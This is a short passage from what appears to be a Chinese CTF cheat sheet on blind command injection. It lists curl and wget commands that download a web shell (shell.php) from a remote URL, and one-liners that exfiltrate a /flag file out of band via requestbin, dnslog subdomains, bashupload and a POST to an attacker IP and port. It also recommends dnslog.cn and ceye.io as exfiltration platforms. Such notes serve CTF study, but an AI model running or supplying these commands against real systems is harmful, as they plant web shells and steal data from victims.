无回显

</aside>

写文件

**curl -o shell.php <http://xxxxxx.txt>
wget -O shell.php <http://xxxxxx.txt>**

请求带出

**curl <http://requestbin.net/r/1kiej1p1?p=`cat> /flag|base64`
curl `xxd -p /flag`.xxxxxx.dnslog.cn  #dnslog带外
curl bashupload.com -T your_file.txt #bashupload.com带外下载文件
wget --post-file ./flag [IP]:[Port]**

平台：

**<http://www.dnslog.cn/>	   //只能使用 dnslog 外带，另外很多防火墙会 ban 掉该域名。
<http://ceye.io/>	         //可以使用 http 外带和 dnslog 外带，推荐。**
